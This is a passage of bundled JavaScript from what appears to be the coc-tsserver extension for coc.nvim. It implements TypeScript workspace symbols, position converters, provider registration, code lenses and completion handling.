const typeConverters = __importStar(__webpack_require__(82));
function getSymbolKind(item) {
switch (item.kind) {
case 'method':
return vscode_languageserver_protocol_1.SymbolKind.Method;
case 'enum':
return vscode_languageserver_protocol_1.SymbolKind.Enum;
case 'function':
return vscode_languageserver_protocol_1.SymbolKind.Function;
case 'class':
return vscode_languageserver_protocol_1.SymbolKind.Class;
case 'interface':
return vscode_languageserver_protocol_1.SymbolKind.Interface;
case 'var':
return vscode_languageserver_protocol_1.SymbolKind.Variable;
default:
return vscode_languageserver_protocol_1.SymbolKind.Variable;
}
}
class TypeScriptWorkspaceSymbolProvider {
constructor(client, languageIds) {
this.client = client;
this.languageIds = languageIds;
}
async provideWorkspaceSymbols(search, token) {
let filepath;
if (this.searchAllOpenProjects) {
filepath = undefined;
}
else {
let uri = this.getUri();
filepath = uri ? this.client.toPath(uri) : undefined;
if (!filepath && this.client.apiVersion.lt(api_1.default.v390)) {
return [];
}
}
const args = {
file: filepath,
searchValue: search,
maxResultCount: 256,
};
const response = await this.client.execute('navto', args, token);
if (response.type !== 'response' || response.body == null)
return [];
const result = [];
for (const item of response.body) {
if (!item.containerName && item.kind === 'alias') {
continue;
}
const label = TypeScriptWorkspaceSymbolProvider.getLabel(item);
const range = {
start: typeConverters.Position.fromLocation(item.start),
end: typeConverters.Position.fromLocation(item.end),
};
const symbolInfo = vscode_languageserver_protocol_1.SymbolInformation.create(label, getSymbolKind(item), range, this.client.toResource(item.file));
result.push(symbolInfo);
}
return result;
}
static getLabel(item) {
let label = item.name;
if (item.kind === 'method' || item.kind === 'function') {
label += '()';
}
return label;
}
getUri() {
// typescript wants to have a resource even when asking
// general questions so we check the active editor. If this
// doesn't match we take the first TS document.
const documents = coc_nvim_1.workspace.textDocuments;
for (const document of documents) {
if (this.languageIds.indexOf(document.languageId) >= 0) {
return document.uri;
}
}
return undefined;
}
get searchAllOpenProjects() {
return this.client.apiVersion.gte(api_1.default.v390)
&& coc_nvim_1.workspace.getConfiguration('typescript').get('workspaceSymbols.scope', 'allOpenProjects') === 'allOpenProjects';
}
}
exports.default = TypeScriptWorkspaceSymbolProvider;
/***/ }),
/* 82 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.WorkspaceEdit = exports.TextEdit = exports.Location = exports.Position = exports.Range = void 0;
var Range;
(function (Range) {
Range.fromTextSpan = (span) => {
return {
start: {
line: span.start.line - 1,
character: span.start.offset - 1
},
end: {
line: span.end.line - 1,
character: span.end.offset - 1
}
};
};
Range.toFormattingRequestArgs = (file, range) => ({
file,
line: range.start.line + 1,
offset: range.start.character + 1,
endLine: range.end.line + 1,
endOffset: range.end.character + 1
});
Range.toFileRangeRequestArgs = (file, range) => ({
file,
startLine: range.start.line + 1,
startOffset: range.start.character + 1,
endLine: range.end.line + 1,
endOffset: range.end.character + 1
});
})(Range = exports.Range || (exports.Range = {}));
var Position;
(function (Position) {
Position.fromLocation = (tslocation) => {
return {
line: tslocation.line - 1,
character: tslocation.offset - 1
};
};
Position.toLocation = (position) => ({
line: position.line + 1,
offset: position.character + 1,
});
Position.toFileLocationRequestArgs = (file, position) => ({
file,
line: position.line + 1,
offset: position.character + 1
});
})(Position = exports.Position || (exports.Position = {}));
var Location;
(function (Location) {
Location.fromTextSpan = (uri, tsTextSpan) => {
return {
uri,
range: Range.fromTextSpan(tsTextSpan)
};
};
})(Location = exports.Location || (exports.Location = {}));
var TextEdit;
(function (TextEdit) {
TextEdit.fromCodeEdit = (edit) => {
return {
range: Range.fromTextSpan(edit),
newText: edit.newText
};
};
})(TextEdit = exports.TextEdit || (exports.TextEdit = {}));
var WorkspaceEdit;
(function (WorkspaceEdit) {
function fromFileCodeEdits(client, edits) {
let changes = {};
for (const edit of edits) {
let uri = client.toResource(edit.fileName);
changes[uri] = edit.textChanges.map(change => {
return TextEdit.fromCodeEdit(change);
});
}
return { changes };
}
WorkspaceEdit.fromFileCodeEdits = fromFileCodeEdits;
})(WorkspaceEdit = exports.WorkspaceEdit || (exports.WorkspaceEdit = {}));
/***/ }),
/* 83 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const path_1 = __importDefault(__webpack_require__(13));
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const baseCodeLensProvider_1 = __webpack_require__(84);
const completionItemProvider_1 = __importDefault(__webpack_require__(86));
const definitionProvider_1 = __importDefault(__webpack_require__(92));
const directiveCommentCompletions_1 = __importDefault(__webpack_require__(93));
const documentHighlight_1 = __importDefault(__webpack_require__(94));
const documentSymbol_1 = __importDefault(__webpack_require__(95));
const folding_1 = __importDefault(__webpack_require__(96));
const formatting_1 = __importDefault(__webpack_require__(97));
const hover_1 = __importDefault(__webpack_require__(98));
const implementationsCodeLens_1 = __importDefault(__webpack_require__(99));
const importFix_1 = __importDefault(__webpack_require__(100));
const moduleInstall_1 = __importDefault(__webpack_require__(102));
// import TagCompletionProvider from './features/tagCompletion'
const quickfix_1 = __importDefault(__webpack_require__(106));
const refactor_1 = __importDefault(__webpack_require__(108));
const references_1 = __importDefault(__webpack_require__(109));
const referencesCodeLens_1 = __importDefault(__webpack_require__(110));
const rename_1 = __importDefault(__webpack_require__(111));
const signatureHelp_1 = __importDefault(__webpack_require__(112));
const smartSelect_1 = __importDefault(__webpack_require__(113));
const updatePathOnRename_1 = __importDefault(__webpack_require__(114));
const organizeImports_1 = __webpack_require__(116);
const api_1 = __importDefault(__webpack_require__(36));
const suggestionSetting = 'suggestionActions.enabled';
class LanguageProvider {
constructor(client, fileConfigurationManager, description, typingsStatus) {
this.client = client;
this.fileConfigurationManager = fileConfigurationManager;
this.description = description;
this.typingsStatus = typingsStatus;
this.disposables = [];
coc_nvim_1.workspace.onDidChangeConfiguration(this.configurationChanged, this, this.disposables);
this.configurationChanged();
let initialized = false;
client.onTsServerStarted(async () => {
if (!initialized) {
initialized = true;
this.registerProviders(client, typingsStatus);
}
});
}
configurationChanged() {
const config = coc_nvim_1.workspace.getConfiguration(this.id, null);
this.client.diagnosticsManager.setEnableSuggestions(this.id, config.get(suggestionSetting, true));
}
dispose() {
coc_nvim_1.disposeAll(this.disposables);
}
_register(disposable) {
this.disposables.push(disposable);
}
registerProviders(client, typingsStatus) {
let languageIds = this.description.modeIds;
let clientId = `tsserver-${this.description.id}`;
this._register(coc_nvim_1.languages.registerCompletionItemProvider(clientId, 'TSC', languageIds, new completionItemProvider_1.default(client, typingsStatus, this.fileConfigurationManager, this.description.id), completionItemProvider_1.default.triggerCharacters));
if (this.client.apiVersion.gte(api_1.default.v230)) {
this._register(coc_nvim_1.languages.registerCompletionItemProvider(`${this.description.id}-directive`, 'TSC', languageIds, new directiveCommentCompletions_1.default(client), ['@']));
}
let definitionProvider = new definitionProvider_1.default(client);
this._register(coc_nvim_1.languages.registerDefinitionProvider(languageIds, definitionProvider));
this._register(coc_nvim_1.languages.registerTypeDefinitionProvider(languageIds, definitionProvider));
this._register(coc_nvim_1.languages.registerImplementationProvider(languageIds, definitionProvider));
this._register(coc_nvim_1.languages.registerReferencesProvider(languageIds, new references_1.default(client)));
this._register(coc_nvim_1.languages.registerHoverProvider(languageIds, new hover_1.default(client)));
this._register(coc_nvim_1.languages.registerDocumentHighlightProvider(languageIds, new documentHighlight_1.default(this.client)));
this._register(coc_nvim_1.languages.registerSignatureHelpProvider(languageIds, new signatureHelp_1.default(client), ['(', ',', '<', ')']));
this._register(coc_nvim_1.languages.registerDocumentSymbolProvider(languageIds, new documentSymbol_1.default(client)));
this._register(coc_nvim_1.languages.registerRenameProvider(languageIds, new rename_1.default(client, this.fileConfigurationManager)));
let formatProvider = new formatting_1.default(client, this.fileConfigurationManager);
this._register(coc_nvim_1.languages.registerDocumentFormatProvider(languageIds, formatProvider));
this._register(coc_nvim_1.languages.registerDocumentRangeFormatProvider(languageIds, formatProvider));
this._register(coc_nvim_1.languages.registerOnTypeFormattingEditProvider(languageIds, formatProvider, [';', '}', '\n', String.fromCharCode(27)]));
this._register(coc_nvim_1.languages.registerCodeActionProvider(languageIds, new moduleInstall_1.default(client), 'tsserver'));
let { fileConfigurationManager } = this;
let conf = fileConfigurationManager.getLanguageConfiguration(this.id);
if (['javascript', 'typescript'].includes(this.id)) {
if (this.client.apiVersion.gte(api_1.default.v290) && conf.get('updateImportsOnFileMove.enable')) {
this._register(new updatePathOnRename_1.default(client, this.fileConfigurationManager, this.id));
}
}
if (this.client.apiVersion.gte(api_1.default.v280)) {
this._register(coc_nvim_1.languages.registerFoldingRangeProvider(languageIds, new folding_1.default(this.client)));
this._register(coc_nvim_1.languages.registerCodeActionProvider(languageIds, new organizeImports_1.OrganizeImportsCodeActionProvider(this.client, this.fileConfigurationManager), 'tsserver', [vscode_languageserver_protocol_1.CodeActionKind.SourceOrganizeImports]));
}
if (this.client.apiVersion.gte(api_1.default.v240)) {
this._register(coc_nvim_1.languages.registerCodeActionProvider(languageIds, new refactor_1.default(client, this.fileConfigurationManager), 'tsserver', [vscode_languageserver_protocol_1.CodeActionKind.Refactor]));
}
this._register(coc_nvim_1.languages.registerCodeActionProvider(languageIds, new quickfix_1.default(client, this.fileConfigurationManager), 'tsserver', [vscode_languageserver_protocol_1.CodeActionKind.QuickFix]));
this._register(coc_nvim_1.languages.registerCodeActionProvider(languageIds, new importFix_1.default(this.client.bufferSyncSupport), 'tsserver', [vscode_languageserver_protocol_1.CodeActionKind.QuickFix]));
let cachedResponse = new baseCodeLensProvider_1.CachedNavTreeResponse();
if (this.client.apiVersion.gte(api_1.default.v206) && conf.get('referencesCodeLens.enable')) {
this._register(coc_nvim_1.languages.registerCodeLensProvider(languageIds, new referencesCodeLens_1.default(client, cachedResponse)));
}
if (this.client.apiVersion.gte(api_1.default.v220) && conf.get('implementationsCodeLens.enable')) {
this._register(coc_nvim_1.languages.registerCodeLensProvider(languageIds, new implementationsCodeLens_1.default(client, cachedResponse)));
}
if (this.client.apiVersion.gte(api_1.default.v350)) {
this._register(coc_nvim_1.languages.registerSelectionRangeProvider(languageIds, new smartSelect_1.default(this.client)));
}
// if (this.client.apiVersion.gte(API.v300)) {
// this._register(
// languages.registerCompletionItemProvider(
// `tsserver-${this.description.id}-tag`,
// 'TSC',
// languageIds,
// new TagCompletionProvider(client),
// ['>']
// )
// )
// }
}
handles(resource, doc) {
if (doc && this.description.modeIds.indexOf(doc.languageId) >= 0) {
return true;
}
const base = path_1.default.basename(coc_nvim_1.Uri.parse(resource).fsPath);
return !!base && (!!this.description.configFilePattern && this.description.configFilePattern.test(base));
}
get id() {
return this.description.id;
}
get diagnosticSource() {
return this.description.diagnosticSource;
}
triggerAllDiagnostics() {
this.client.bufferSyncSupport.requestAllDiagnostics();
}
diagnosticsReceived(diagnosticsKind, file, diagnostics) {
const config = coc_nvim_1.workspace.getConfiguration(this.id, file.toString());
const reportUnnecessary = config.get('showUnused', true);
this.client.diagnosticsManager.diagnosticsReceived(diagnosticsKind, file.toString(), diagnostics.filter(diag => {
if (!reportUnnecessary) {
diag.tags = undefined;
if (diag.reportUnnecessary && diag.severity === vscode_languageserver_protocol_1.DiagnosticSeverity.Information) {
return false;
}
}
return true;
}));
}
}
exports.default = LanguageProvider;
/***/ }),
/* 84 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.TypeScriptBaseCodeLensProvider = exports.CachedNavTreeResponse = void 0;
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const regexp_1 = __webpack_require__(85);
const typeConverters = __importStar(__webpack_require__(82));
class CachedNavTreeResponse {
constructor() {
this.version = -1;
this.document = '';
}
execute(document, f) {
if (this.matches(document)) {
return this.response;
}
return this.update(document, f());
}
matches(document) {
return (this.version === document.version &&
this.document === document.uri.toString());
}
update(document, response) {
this.response = response;
this.version = document.version;
this.document = document.uri.toString();
return response;
}
}
exports.CachedNavTreeResponse = CachedNavTreeResponse;
class TypeScriptBaseCodeLensProvider {
constructor(client, cachedResponse) {
this.client = client;
this.cachedResponse = cachedResponse;
this.onDidChangeCodeLensesEmitter = new vscode_languageserver_protocol_1.Emitter();
}
get onDidChangeCodeLenses() {
return this.onDidChangeCodeLensesEmitter.event;
}
async provideCodeLenses(document, token) {
const filepath = this.client.toPath(document.uri);
if (!filepath) {
return [];
}
try {
const response = await this.cachedResponse.execute(document, () => this.client.execute('navtree', { file: filepath }, token));
if (!response) {
return [];
}
const tree = response.body;
const referenceableSpans = [];
if (tree && tree.childItems) {
tree.childItems.forEach(item => this.walkNavTree(document, item, null, referenceableSpans));
}
return referenceableSpans.map(range => {
return {
range,
data: { uri: document.uri }
};
});
}
catch (_a) {
return [];
}
}
walkNavTree(document, item, parent, results) {
if (!item) {
return;
}
const range = this.extractSymbol(document, item, parent);
if (range) {
results.push(range);
}
if (item.childItems) {
item.childItems.forEach(child => this.walkNavTree(document, child, item, results));
}
}
getSymbolRange(document, item) {
if (!item) {
return null;
}
// TS 3.0+ provides a span for just the symbol
if (item.nameSpan) {
return typeConverters.Range.fromTextSpan(item.nameSpan);
}
// In older versions, we have to calculate this manually. See #23924
const span = item.spans && item.spans[0];
if (!span) {
return null;
}
const range = typeConverters.Range.fromTextSpan(span);
const text = document.getText(range);
const identifierMatch = new RegExp(`^(.*?(\\b|\\W))${regexp_1.escapeRegExp(item.text || '')}(\\b|\\W)`, 'gm');
const match = identifierMatch.exec(text);
const prefixLength = match ? match.index + match[1].length : 0;
const startOffset = document.offsetAt(range.start) + prefixLength;
return {
start: document.positionAt(startOffset),
end: document.positionAt(startOffset + item.text.length)
};
}
}
exports.TypeScriptBaseCodeLensProvider = TypeScriptBaseCodeLensProvider;
/***/ }),
/* 85 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.escapeRegExp = void 0;
function escapeRegExp(text) {
return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, '\\$&');
}
exports.escapeRegExp = escapeRegExp;
/***/ }),
/* 86 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const PConst = __importStar(__webpack_require__(87));
const api_1 = __importDefault(__webpack_require__(36));
const codeAction_1 = __webpack_require__(88);
const completionItem_1 = __webpack_require__(89);
const Previewer = __importStar(__webpack_require__(90));
const SnippetString_1 = __importDefault(__webpack_require__(91));
const typeConverters = __importStar(__webpack_require__(82));
class ApplyCompletionCodeActionCommand {
constructor(client) {
this.client = client;
this.id = ApplyCompletionCodeActionCommand.ID;
}
// apply code action on complete
async execute(codeActions) {
if (codeActions.length === 0) {
return;
}
if (codeActions.length === 1) {
await codeAction_1.applyCodeAction(this.client, codeActions[0]);
return;
}
const idx = await coc_nvim_1.window.showQuickpick(codeActions.map(o => o.description), 'Select code action to apply');
if (idx < 0)
return;
const action = codeActions[idx];
await codeAction_1.applyCodeAction(this.client, action);
return;
}
}
ApplyCompletionCodeActionCommand.ID = '_typescript.applyCompletionCodeAction';
class TypeScriptCompletionItemProvider {
constructor(client, typingsStatus, fileConfigurationManager, languageId) {
this.client = client;
this.typingsStatus = typingsStatus;
this.fileConfigurationManager = fileConfigurationManager;
this.setCompleteOption(languageId);
coc_nvim_1.commands.registerCommand(ApplyCompletionCodeActionCommand.ID, async (codeActions) => {
let cmd = new ApplyCompletionCodeActionCommand(this.client);
await cmd.execute(codeActions);
});
coc_nvim_1.workspace.onDidChangeConfiguration(_e => {
this.setCompleteOption(languageId);
});
}
setCompleteOption(languageId) {
this.completeOption = this.fileConfigurationManager.getCompleteOptions(languageId);
}
/**
* Get completionItems
*
* @public
* @param {TextDocument} document
* @param {Position} position
* @param {CancellationToken} token
* @param {string} triggerCharacter
* @returns {Promise<CompletionItem[]>}
*/
async provideCompletionItems(document, position, token, context) {
if (this.typingsStatus.isAcquiringTypings) {
return Promise.resolve({
isIncomplete: true,
items: [{
label: 'Acquiring typings...',
detail: 'Acquiring typings definitions for IntelliSense.'
}]
});
}
let { uri } = document;
const file = this.client.toPath(document.uri);
if (!file)
return null;
let preText = document.getText({
start: { line: position.line, character: 0 },
end: position
});
let { triggerCharacter, option } = context;
if (!this.shouldTrigger(triggerCharacter, preText, option)) {
return null;
}
await this.client.interruptGetErr(() => this.fileConfigurationManager.ensureConfigurationForDocument(document, token));
const { completeOption } = this;
const args = Object.assign(Object.assign({}, typeConverters.Position.toFileLocationRequestArgs(file, position)), { includeExternalModuleExports: completeOption.autoImports, includeInsertTextCompletions: true, triggerCharacter: this.getTsTriggerCharacter(context), includeAutomaticOptionalChainCompletions: completeOption.includeAutomaticOptionalChainCompletions });
let entries;
let dotAccessorContext;
let isNewIdentifierLocation = true;
let isMemberCompletion = false;
let isIncomplete = false;
const isInValidCommitCharacterContext = this.isInValidCommitCharacterContext(document, position);
if (this.client.apiVersion.gte(api_1.default.v300)) {
try {
const response = await this.client.interruptGetErr(() => this.client.execute('completionInfo', args, token));
if (response.type !== 'response' || !response.body) {
return null;
}
isNewIdentifierLocation = response.body.isNewIdentifierLocation;
isMemberCompletion = response.body.isMemberCompletion;
if (isMemberCompletion) {
const dotMatch = preText.slice(0, position.character).match(/\??\.\s*$/) || undefined;
if (dotMatch) {
const range = vscode_languageserver_protocol_1.Range.create({
line: position.line,
character: position.character - dotMatch.length
}, position);
const text = document.getText(range);
dotAccessorContext = { range, text };
}
}
isIncomplete = response.metadata && response.metadata.isIncomplete;
entries = response.body.entries;
}
catch (e) {
if (e.message == 'No content available.') {
return null;
}
throw e;
}
}
else {
const response = await this.client.interruptGetErr(() => this.client.execute('completions', args, token));
if (response.type !== 'response' || !response.body) {
return null;
}
entries = response.body;
}
const completionItems = [];
for (const element of entries) {
if (shouldExcludeCompletionEntry(element, completeOption)) {
continue;
}
const item = completionItem_1.convertCompletionEntry(element, uri, position, {
isNewIdentifierLocation,
isMemberCompletion,
enableCallCompletions: completeOption.completeFunctionCalls,
isInValidCommitCharacterContext,
dotAccessorContext,
});
completionItems.push(item);
}
return { isIncomplete, items: completionItems };
}
getTsTriggerCharacter(context) {
// return context.triggerCharacter as Proto.CompletionsTriggerCharacter
switch (context.triggerCharacter) {
case '@': // Workaround for https://github.com/Microsoft/TypeScript/issues/27321
return this.client.apiVersion.gte(api_1.default.v310) && this.client.apiVersion.lt(api_1.default.v320) ? undefined : '@';
case '#': // Workaround for https://github.com/microsoft/TypeScript/issues/36367
return this.client.apiVersion.lt(api_1.default.v381) ? undefined : '#';
case '.':
case '"':
case '\'':
case '`':
case '/':
case '<':
return context.triggerCharacter;
}
return undefined;
}
/**
* Resolve complete item, could have documentation added
*
* @public
* @param {CompletionItem} item
* @param {CancellationToken} token
* @returns {Promise<CompletionItem>}
*/
async resolveCompletionItem(item, token) {
if (item == null)
return undefined;
let { uri, position, source, name } = item.data;
const filepath = this.client.toPath(uri);
if (!filepath)
return undefined;
let document = coc_nvim_1.workspace.getDocument(uri);
if (!document)
return undefined;
const args = Object.assign(Object.assign({}, typeConverters.Position.toFileLocationRequestArgs(filepath, position)), { entryNames: [source ? { name, source } : name] });
let response;
try {
response = await this.client.interruptGetErr(() => this.client.execute('completionEntryDetails', args, token));
}
catch (_a) {
return item;
}
if (response.type !== 'response' || !response.body || !response.body.length) {
return item;
}
const details = response.body;
if (!details || !details.length || !details[0]) {
return item;
}
const detail = details[0];
if (!item.detail && detail.displayParts.length) {
item.detail = Previewer.plain(detail.displayParts);
}
item.documentation = this.getDocumentation(detail);
const { command, additionalTextEdits } = this.getCodeActions(detail, filepath);
if (command)
item.command = command;
item.additionalTextEdits = additionalTextEdits;
if (detail && item.insertTextFormat == vscode_languageserver_protocol_1.InsertTextFormat.Snippet) {
const shouldCompleteFunction = await this.isValidFunctionCompletionContext(filepath, position, token);
if (shouldCompleteFunction) {
this.createSnippetOfFunctionCall(item, detail);
}
}
return item;
}
getCodeActions(detail, filepath) {
if (!detail.codeActions || !detail.codeActions.length) {
return {};
}
// Try to extract out the additionalTextEdits for the current file.
// Also check if we still have to apply other workspace edits
const additionalTextEdits = [];
let hasRemainingCommandsOrEdits = false;
for (const tsAction of detail.codeActions) {
if (tsAction.commands) {
hasRemainingCommandsOrEdits = true;
}
// Convert all edits in the current file using `additionalTextEdits`
if (tsAction.changes) {
for (const change of tsAction.changes) {
if (change.fileName === filepath) {
additionalTextEdits.push(...change.textChanges.map(typeConverters.TextEdit.fromCodeEdit));
}
else {
hasRemainingCommandsOrEdits = true;
}
}
}
}
let command = null;
if (hasRemainingCommandsOrEdits) {
// Create command that applies all edits not in the current file.
command = {
title: '',
command: ApplyCompletionCodeActionCommand.ID,
arguments: [
detail.codeActions.map((x) => ({
commands: x.commands,
description: x.description,
changes: x.changes.filter(x => x.fileName !== filepath)
}))
]
};
}
return {
command,
additionalTextEdits: additionalTextEdits.length
? additionalTextEdits
: undefined
};
}
shouldTrigger(triggerCharacter, pre, option) {
if (triggerCharacter && this.client.apiVersion.lt(api_1.default.v290)) {
if (triggerCharacter === '@') {
// trigger in string
if (option.synname && /string/i.test(option.synname)) {
return true;
}
// make sure we are in something that looks like the start of a jsdoc comment
if (!pre.match(/^\s*\*[ ]?@/) && !pre.match(/\/\*\*+[ ]?@/)) {
return false;
}
}
else if (triggerCharacter === '<') {
return false;
}
}
return true;
}
// complete item documentation
getDocumentation(detail) {
let documentation = '';
if (detail.source) {
const importPath = `'${Previewer.plain(detail.source)}'`;
const autoImportLabel = `Auto import from ${importPath}`;
documentation += `${autoImportLabel}\n`;
}
let parts = [
Previewer.plain(detail.documentation),
Previewer.tagsMarkdownPreview(detail.tags)
];
parts = parts.filter(s => s && s.trim() != '');
documentation += parts.join('\n\n');
if (documentation.length) {
return {
kind: vscode_languageserver_protocol_1.MarkupKind.Markdown,
value: documentation
};
}
return undefined;
}
createSnippetOfFunctionCall(item, detail) {
let { displayParts } = detail;
const parameterListParts = completionItem_1.getParameterListParts(displayParts);
const snippet = new SnippetString_1.default();
snippet.appendText(`${item.insertText || item.label}(`);
appendJoinedPlaceholders(snippet, parameterListParts.parts, ', ');
if (parameterListParts.hasOptionalParameters) {
snippet.appendTabstop();
}
snippet.appendText(')');
snippet.appendTabstop(0);
item.insertText = snippet.value;
}
async isValidFunctionCompletionContext(filepath, position, token) {
// Workaround for https://github.com/Microsoft/TypeScript/issues/12677
// Don't complete function calls inside of destructive assigments or imports
try {
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, position);
const response = await this.client.execute('quickinfo', args, token);
if (response.type !== 'response') {
return true;
}
const { body } = response;
switch (body && body.kind) {
case 'var':
case 'let':
case 'const':
case 'alias':
return false;
default:
return true;
}
}
catch (e) {
return true;
}
}
isInValidCommitCharacterContext(document, position) {
if (this.client.apiVersion.lt(api_1.default.v320)) {
// Workaround for https://github.com/Microsoft/TypeScript/issues/27742
// Only enable dot completions when previous character not a dot preceded by whitespace.
// Prevents incorrectly completing while typing spread operators.
if (position.character > 1) {
const preText = document.getText(vscode_languageserver_protocol_1.Range.create(position.line, 0, position.line, position.character));
return preText.match(/(\s|^)\.$/ig) === null;
}
}
return true;
}
}
exports.default = TypeScriptCompletionItemProvider;
TypeScriptCompletionItemProvider.triggerCharacters = ['.', '"', '\'', '`', '/', '@', '<', '#'];
function shouldExcludeCompletionEntry(element, completionConfiguration) {
return ((!completionConfiguration.names && element.kind === PConst.Kind.warning)
|| (!completionConfiguration.paths &&
(element.kind === PConst.Kind.directory || element.kind === PConst.Kind.script || element.kind === PConst.Kind.externalModuleName))
|| (!completionConfiguration.autoImports && element.hasAction));
}
function appendJoinedPlaceholders(snippet, parts, joiner) {
for (let i = 0; i < parts.length; ++i) {
const paramterPart = parts[i];
snippet.appendPlaceholder(paramterPart.text);
if (i !== parts.length - 1) {
snippet.appendText(joiner);
}
}
}
/***/ }),
/* 87 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.DisplayPartKind = exports.KindModifiers = exports.DiagnosticCategory = exports.Kind = void 0;
class Kind {
}
exports.Kind = Kind;
Kind.alias = 'alias';
Kind.callSignature = 'call';
Kind.class = 'class';
Kind.const = 'const';
Kind.constructorImplementation = 'constructor';
Kind.constructSignature = 'construct';
Kind.directory = 'directory';
Kind.enum = 'enum';
Kind.enumMember = 'enum member';
Kind.externalModuleName = 'external module name';
Kind.function = 'function';
Kind.indexSignature = 'index';
Kind.interface = 'interface';
Kind.keyword = 'keyword';
Kind.let = 'let';
Kind.localFunction = 'local function';
Kind.localVariable = 'local var';
Kind.method = 'method';
Kind.memberGetAccessor = 'getter';
Kind.memberSetAccessor = 'setter';
Kind.memberVariable = 'property';
Kind.module = 'module';
Kind.primitiveType = 'primitive type';
Kind.script = 'script';
Kind.type = 'type';
Kind.variable = 'var';
Kind.warning = 'warning';
Kind.string = 'string';
Kind.parameter = 'parameter';
Kind.typeParameter = 'type parameter';
class DiagnosticCategory {
}
exports.DiagnosticCategory = DiagnosticCategory;
DiagnosticCategory.error = 'error';
DiagnosticCategory.warning = 'warning';
DiagnosticCategory.suggestion = 'suggestion';
class KindModifiers {
}
exports.KindModifiers = KindModifiers;
KindModifiers.optional = 'optional';
KindModifiers.color = 'color';
KindModifiers.dtsFile = '.d.ts';
KindModifiers.tsFile = '.ts';
KindModifiers.tsxFile = '.tsx';
KindModifiers.jsFile = '.js';
KindModifiers.jsxFile = '.jsx';
KindModifiers.jsonFile = '.json';
KindModifiers.fileExtensionKindModifiers = [
KindModifiers.dtsFile,
KindModifiers.tsFile,
KindModifiers.tsxFile,
KindModifiers.jsFile,
KindModifiers.jsxFile,
KindModifiers.jsonFile,
];
class DisplayPartKind {
}
exports.DisplayPartKind = DisplayPartKind;
DisplayPartKind.functionName = 'functionName';
DisplayPartKind.methodName = 'methodName';
DisplayPartKind.parameterName = 'parameterName';
DisplayPartKind.propertyName = 'propertyName';
DisplayPartKind.punctuation = 'punctuation';
DisplayPartKind.text = 'text';
/***/ }),
/* 88 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.applyCodeActionCommands = exports.applyCodeAction = exports.getEditForCodeAction = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
